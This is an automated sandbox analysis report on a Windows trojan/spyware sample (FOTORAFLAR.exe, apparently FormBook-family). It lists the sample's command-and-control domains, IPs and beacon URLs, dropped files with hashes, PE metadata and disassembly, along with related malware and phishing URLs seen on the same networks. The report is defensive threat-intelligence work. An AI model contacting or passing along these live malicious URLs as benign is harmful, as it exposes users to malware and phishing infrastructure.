http://www.smirpox.xyz/qnzs/?C0oD=GxkDHWsX54BcXdr+X4+GX30U3Lj5RtBkEtwzkqjSlwd5bhdVdKj3SOXRTkGfTnWing/dpWlHheQGrgb9DnLsoxo3QIxkxehw/T2sZhHOm+tURauy0yxjdNs=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/MorphSVGPlugin.min.js	0%	Avira URL Cloud	safe
http://www.qwibie.net/ow2x/	0%	Avira URL Cloud	safe
http://www.mycleanupfiesta.live/a9if/	0%	Avira URL Cloud	safe
http://www.43kdd.top/6iur/	0%	Avira URL Cloud	safe
https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/SplitText.min.js	0%	Avira URL Cloud	safe
http://www.nonpressure.beauty	100%	Avira URL Cloud	malware
http://www.conansog.shop/4y21/?C0oD=mPRMxh+e+VE7Ove39Sw8dmi+aOJGAWH5jFedH8atyVdfIyLeJFBfjy5Y1KL2B+s6BQDtsLRij94DPPI3pu69UR9kCgLa8mV6DaG1kiIWnyUqRHhlgCWSgg4=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
http://www.qwibie.net/ow2x/?C0oD=mwEJPxghqBP0HS9n1X+CrOIbCVLsB2OYlrv9OZrAb/GKMQe/j/2ClGpq87hpEmyNapVO3nqvych02uE3cVtiKilbfBQm7ePgulBUbiKMxe88UCqWlHKJoDI=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
http://www.bookingservice.center/rw0k/?SJLty=7Zsl8bAHqdkHEnH&C0oD=2O+BQtagKd2e0tCHf7cQEGpCdZEKMcu8KUvQppDq45CT9l+c4kN/Nkqe5cwEa/TPiwCfdT9AeaeBmqjtzD2yf/vyAaenMmGVr/csdah4RHR/FTYhQMTHjoI=	0%	Avira URL Cloud	safe
http://www.conansog.shop/4y21/	0%	Avira URL Cloud	safe
http://www.fitlook.shop/34uy/?C0oD=KSNenRUz0x3jwwaFmZETAA9KYzPdWounuY72k7Av3QdD/OE/Wc5w7TzUcZjUVirDVR5tYsYUnylr3EOuBfofYgQDaG0iHWLP0vmwml0k5CsL5iUNPuoNBRw=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
http://www.43kdd.top/6iur/?C0oD=0nMJct3q1A3XzMXjE+ivshWrQE+XNY2vZkYEnxQvgljfmjLPkYHFjKqOBb0jruiOvYz34q23vFgZrlJgY/jJPVhUzqIQSZTSSXUfz9p/TbKa5+cetqeuNbw=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
http://www.t19yd.top/pmk2/	0%	Avira URL Cloud	safe
http://www.tempatmudisini06.click/kfzf/	0%	Avira URL Cloud	safe
http://www.mycleanupfiesta.live/a9if/?SJLty=7Zsl8bAHqdkHEnH&C0oD=NPCF0Cc5uwbi+9CdLylAZ+4kLxMnwTwBBFY+WmZ6z4eVD7VdFSaEtftDik7huU9slgF1galMdGpPyLMnTxOlI51ovglTUHTdL9cfhIyo0GaR7r/EyDMZf0s=	0%	Avira URL Cloud	safe
http://www.tempatmudisini06.click/kfzf/?C0oD=745Y/jOyjUFFKVt1zrqnMxLflzH3xCS2ztdY3unhpOMZjpxTMolv6jL+LcLzYo7s20rMx9IK4inFAvVSlw+JL0dGgGxHe8jTeLADQYR7lRwUQufrcbnmx6Y=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
http://www.nonpressure.beauty/naci/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
qwibie.net	3.33.130.190	true	true	unknown
www.smirpox.xyz	203.161.46.201	true	true	unknown
www.mycleanupfiesta.live	172.67.137.238	true	true	unknown
www.conansog.shop	104.21.41.74	true	true	unknown
43kdd.top	38.47.232.202	true	true	unknown
tempatmudisini06.click	103.21.221.4	true	true	unknown
www.nonpressure.beauty	104.21.4.93	true	true	unknown
www.fitlook.shop	13.248.169.48	true	true	unknown
www.bookingservice.center	98.124.224.17	true	true	unknown
t19yd.top	38.47.207.164	true	true	unknown
www.tempatmudisini06.click	unknown	unknown	false	unknown
www.t19yd.top	unknown	unknown	false	unknown
www.qwibie.net	unknown	unknown	false	unknown
www.43kdd.top	unknown	unknown	false	unknown
www.darkvader.xyz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.fitlook.shop/34uy/	true	Avira URL Cloud: safe	unknown
http://www.qwibie.net/ow2x/	true	Avira URL Cloud: safe	unknown
http://www.smirpox.xyz/qnzs/?C0oD=GxkDHWsX54BcXdr+X4+GX30U3Lj5RtBkEtwzkqjSlwd5bhdVdKj3SOXRTkGfTnWing/dpWlHheQGrgb9DnLsoxo3QIxkxehw/T2sZhHOm+tURauy0yxjdNs=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.smirpox.xyz/qnzs/	true	Avira URL Cloud: safe	unknown
http://www.mycleanupfiesta.live/a9if/	true	Avira URL Cloud: safe	unknown
http://www.t19yd.top/pmk2/?C0oD=3De3Y80JIFpHXFcRK4zsuRoR2JqTRvVObOTBM3no2IT+Ydj8n3o/JZofxiKD9jGsDaNhY1uQAIUnKpNiMGMuE6w7CVHn6nbaXTI3bq+rgxbHjMuEgJndnnM=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.43kdd.top/6iur/	true	Avira URL Cloud: safe	unknown
http://www.conansog.shop/4y21/?C0oD=mPRMxh+e+VE7Ove39Sw8dmi+aOJGAWH5jFedH8atyVdfIyLeJFBfjy5Y1KL2B+s6BQDtsLRij94DPPI3pu69UR9kCgLa8mV6DaG1kiIWnyUqRHhlgCWSgg4=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.fitlook.shop/34uy/?C0oD=KSNenRUz0x3jwwaFmZETAA9KYzPdWounuY72k7Av3QdD/OE/Wc5w7TzUcZjUVirDVR5tYsYUnylr3EOuBfofYgQDaG0iHWLP0vmwml0k5CsL5iUNPuoNBRw=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.qwibie.net/ow2x/?C0oD=mwEJPxghqBP0HS9n1X+CrOIbCVLsB2OYlrv9OZrAb/GKMQe/j/2ClGpq87hpEmyNapVO3nqvych02uE3cVtiKilbfBQm7ePgulBUbiKMxe88UCqWlHKJoDI=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.bookingservice.center/rw0k/?SJLty=7Zsl8bAHqdkHEnH&C0oD=2O+BQtagKd2e0tCHf7cQEGpCdZEKMcu8KUvQppDq45CT9l+c4kN/Nkqe5cwEa/TPiwCfdT9AeaeBmqjtzD2yf/vyAaenMmGVr/csdah4RHR/FTYhQMTHjoI=	true	Avira URL Cloud: safe	unknown
http://www.conansog.shop/4y21/	true	Avira URL Cloud: safe	unknown
http://www.t19yd.top/pmk2/	true	Avira URL Cloud: safe	unknown
http://www.tempatmudisini06.click/kfzf/	true	Avira URL Cloud: safe	unknown
http://www.43kdd.top/6iur/?C0oD=0nMJct3q1A3XzMXjE+ivshWrQE+XNY2vZkYEnxQvgljfmjLPkYHFjKqOBb0jruiOvYz34q23vFgZrlJgY/jJPVhUzqIQSZTSSXUfz9p/TbKa5+cetqeuNbw=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.tempatmudisini06.click/kfzf/?C0oD=745Y/jOyjUFFKVt1zrqnMxLflzH3xCS2ztdY3unhpOMZjpxTMolv6jL+LcLzYo7s20rMx9IK4inFAvVSlw+JL0dGgGxHe8jTeLADQYR7lRwUQufrcbnmx6Y=&SJLty=7Zsl8bAHqdkHEnH	true	Avira URL Cloud: safe	unknown
http://www.mycleanupfiesta.live/a9if/?SJLty=7Zsl8bAHqdkHEnH&C0oD=NPCF0Cc5uwbi+9CdLylAZ+4kLxMnwTwBBFY+WmZ6z4eVD7VdFSaEtftDik7huU9slgF1galMdGpPyLMnTxOlI51ovglTUHTdL9cfhIyo0GaR7r/EyDMZf0s=	true	Avira URL Cloud: safe	unknown
http://www.nonpressure.beauty/naci/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nonpressure.beauty	GhotoFFnRo.exe, 00000007.00000002.3547691925.0000000004F4B000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/MorphSVGPlugin.min.js	winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/SplitText.min.js	winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/gsap/1.20.2/TweenMax.min.js	winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css	winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.21.221.4	tempatmudisini06.click	unknown	9905	LINKNET-ID-APLinknetASNID	true
172.67.137.238	www.mycleanupfiesta.live	United States	13335	CLOUDFLARENETUS	true
13.248.169.48	www.fitlook.shop	United States	16509	AMAZON-02US	true
104.21.4.93	www.nonpressure.beauty	United States	13335	CLOUDFLARENETUS	true
38.47.207.164	t19yd.top	United States	174	COGENT-174US	true
38.47.232.202	43kdd.top	United States	174	COGENT-174US	true
3.33.130.190	qwibie.net	United States	8987	AMAZONEXPANSIONGB	true
203.161.46.201	www.smirpox.xyz	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
98.124.224.17	www.bookingservice.center	United States	21740	ENOMAS1US	true
104.21.41.74	www.conansog.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554622
Start date and time:	2024-11-12 18:46:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FOTO#U011eRAFLAR.exe renamed because original name is a hash value
Original Sample Name:	FOTORAFLAR.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@11/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 96% Number of executed functions: 41 Number of non-executed functions: 305
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target GhotoFFnRo.exe, PID 3568 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: FOTO#U011eRAFLAR.exe

Simulations

Behavior and APIs

Time	Type	Description
12:48:08	API Interceptor	6187770x Sleep call for process: winver.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.21.221.4	Z6s208B9QX.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/abla/
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/iydt/
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.tempatmudisini01.click/iydt/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/abla/
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/phdl/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/lybf/
	SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/r9rj/
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	www.tempatmudisini01.click/abla/
13.248.169.48	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	www.dreampay.shop/a18n/?mRu=GNYnn+/HdyV8duRMqtcyXm0xy6A5R7OP0g3qQsxli+rcIWT14zRUDqgxNRAzolcecH8yu9AKKAak4SdSyZ6RvIdAVt2QUT1IwNlPBAoCd8CxXhf8uuYrVNc=&UJ=7H1XM
	Order.exe	Get hash	malicious	FormBook	Browse	www.sonoscan.org/ew98/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.ipk.app/phav/
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	www.hopeisa.live/v0jl/
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://sites.google.com/lecollectivem.com/rfp/home	Get hash	malicious	Unknown	Browse	104.21.68.132
	https://alessiabelltravel.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	Fizetes_12112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://welsfargo.com-onlinebanking.com/Xb1ExYUR6VXl0bGxmVDdXaVpyTzlKZUtudEIxbGsxOGY1VzhSNFZvZVlFTDk5T0c2Q25PS3hwcEYrL1dZdG8vVzZIUS9mVHczWklvQ1R0U1ZXaVN0L2RuN0VIbklqdzFUWVROV3E4ZnVldDhWUmZ3RDRZWmFKY0ZJOUlTWWlqWHVxNDlVTUYxYVFDQ1dBWTd0bzVKbGIrL25HZVVOTHNSMnNBcGJuaVRrZW82VHY3RVlnYThxbUpLN2lBPT0tLTRmTmYwUzZkLzlIS1VWQ2otLVNXQlpnWjRKZDUxaGNXQmpCWksyN3c9PQ==?cid=2251351141	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	Salary Amendment.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://oqumcrpv8e.beefreecontent.com	Get hash	malicious	Unknown	Browse	104.17.247.203
	Salary Amendment.xlsx	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
LINKNET-ID-APLinknetASNID	amen.arm6.elf	Get hash	malicious	Mirai	Browse	139.255.236.186
	amen.m68k.elf	Get hash	malicious	Unknown	Browse	139.43.9.147
	sora.mips.elf	Get hash	malicious	Mirai	Browse	139.255.236.186
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	139.25.197.11
	wZU2edEGL3.elf	Get hash	malicious	Unknown	Browse	139.44.166.66
	jew.spc.elf	Get hash	malicious	Mirai	Browse	139.40.24.226
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	139.33.31.27
	nabsh4.elf	Get hash	malicious	Unknown	Browse	139.43.29.216
	ppc.elf	Get hash	malicious	Unknown	Browse	139.40.72.147
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	139.37.141.60
CLOUDFLARENETUS	https://sites.google.com/lecollectivem.com/rfp/home	Get hash	malicious	Unknown	Browse	104.21.68.132
	https://alessiabelltravel.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	Fizetes_12112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://welsfargo.com-onlinebanking.com/Xb1ExYUR6VXl0bGxmVDdXaVpyTzlKZUtudEIxbGsxOGY1VzhSNFZvZVlFTDk5T0c2Q25PS3hwcEYrL1dZdG8vVzZIUS9mVHczWklvQ1R0U1ZXaVN0L2RuN0VIbklqdzFUWVROV3E4ZnVldDhWUmZ3RDRZWmFKY0ZJOUlTWWlqWHVxNDlVTUYxYVFDQ1dBWTd0bzVKbGIrL25HZVVOTHNSMnNBcGJuaVRrZW82VHY3RVlnYThxbUpLN2lBPT0tLTRmTmYwUzZkLzlIS1VWQ2otLVNXQlpnWjRKZDUxaGNXQmpCWksyN3c9PQ==?cid=2251351141	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	Salary Amendment.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://oqumcrpv8e.beefreecontent.com	Get hash	malicious	Unknown	Browse	104.17.247.203
	Salary Amendment.xlsx	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
AMAZON-02US	https://alessiabelltravel.com	Get hash	malicious	Unknown	Browse	143.204.98.65
	wavjjT3sEq.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	http://jackelec.com.au/	Get hash	malicious	HTMLPhisher	Browse	52.77.158.64
	https://welsfargo.com-onlinebanking.com/Xb1ExYUR6VXl0bGxmVDdXaVpyTzlKZUtudEIxbGsxOGY1VzhSNFZvZVlFTDk5T0c2Q25PS3hwcEYrL1dZdG8vVzZIUS9mVHczWklvQ1R0U1ZXaVN0L2RuN0VIbklqdzFUWVROV3E4ZnVldDhWUmZ3RDRZWmFKY0ZJOUlTWWlqWHVxNDlVTUYxYVFDQ1dBWTd0bzVKbGIrL25HZVVOTHNSMnNBcGJuaVRrZW82VHY3RVlnYThxbUpLN2lBPT0tLTRmTmYwUzZkLzlIS1VWQ2otLVNXQlpnWjRKZDUxaGNXQmpCWksyN3c9PQ==?cid=2251351141	Get hash	malicious	KnowBe4	Browse	52.217.224.48
	http://iposeidonbussiness.com/img/event_egghunt2.zip	Get hash	malicious	Unknown	Browse	52.15.180.19
	https://oqumcrpv8e.beefreecontent.com	Get hash	malicious	Unknown	Browse	108.138.26.51
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	108.156.211.59
	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	18.245.31.5
	ACHAT DE 2 IMMEUBLES.pdf	Get hash	malicious	Unknown	Browse	18.155.173.98
	linux_x64_agent_no_crypt.elf	Get hash	malicious	Unknown	Browse	54.171.230.55

Process:	C:\Windows\SysWOW64\winver.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hypopygidium

Download File

Process:	C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.994513988027257
Encrypted:	true
SSDEEP:	6144:goGooooooojooooooooooooooooooooooooooooooooooooooooooooooooooooW:goGooooooojoooooooooooooooooooo2
MD5:	360E3262481095FB849EC81170081D8C
SHA1:	B65EB75D20EEA136E96A3741F4320B9CFB6BCC2F
SHA-256:	18035D4B9AE58BD9FB5968471949461B4FC4938ECADC3FD673762120F741EE94
SHA-512:	E0792381162447E238541977887236EFEFC077AC0DDDA60AB37FF63FD685B0630929F637D89AA0A202D7C1CA6D26D193020074B1C6CF401B147E07695F5FCE00
Malicious:	false
Reputation:	low
Preview:	.....RNOAa..:...f.KR..gB1..66HPZLKQ2RNOA95R366HPZLKQ2RNOA.5R38).^Z.B...O...a:ZE.8"5+90_r-./WZ&.TSh"/"k8\r....X=WS.E]PhKQ2RNOA@4[..V/.g,,..2).[....VQ.J..mR5.U..nSQ..99$v1U.NOA95R36f.PZ.JP2Rcl.95R366HP.LIP9SEOAo1R366HPZLK1&RNOQ95RC26HP.LKA2RNMA93R366HPZJKQ2RNOA9EV364HPZLKQ0R..A9%R3&6HPZ\KQ"RNOA95B366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNa5\M&366<.^LKA2RN.E95B366HPZLKQ2RNOA.5RS66HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R366HPZLKQ2RNOA95R36

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.4108802579140916
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FOTO#U011eRAFLAR.exe
File size:	1'600'512 bytes
MD5:	0bb932f92b40eec8d5bc5b595b948096
SHA1:	80b4d5920f31854c1cdcd64eee626cb3d00b711d
SHA256:	e8b8745486749347b6b3621bce50bfb3d5ba080fa71bf30c444dc86def6e56c3
SHA512:	60e8264afe14b9521e770a83ad9b1deec0f371a28bef2096bd39eabadca1b6f25c3d47b119373d45e9e5e32ccaa68ceab13436f54d911dfbea861ac799d70fff
SSDEEP:	24576:R5EmXFtKaL4/oFe5T9yyXYfP1ijXdaeUvSFGfYYJAbu80+h5v1OrL2ixY/ohwROI:RPVt/LZeJbInQRaeU4YJ4ZfYEo2
TLSH:	6B75D0027381D062FFAB91334B5AF6215BBC7A260123A61F13981DB9FD705B1563E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x4204f7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673143A6 [Sun Nov 10 23:37:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0b768923437678ce375719e30b21693e

Entrypoint Preview

Instruction
call 00007F04F4F93D63h
jmp 00007F04F4F9366Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F04F4F9384Dh
mov dword ptr [esi], 0049FE10h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE18h
mov dword ptr [ecx], 0049FE10h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F04F4F9381Ah
mov dword ptr [esi], 0049FE2Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE34h
mov dword ptr [ecx], 0049FE2Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDF0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F04F4F9641Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDF0h
push eax
call 00007F04F4F96468h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDF0h
push eax
call 00007F04F4F96451h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e74	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0xb00f4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x185000	0x75cc	.reloc
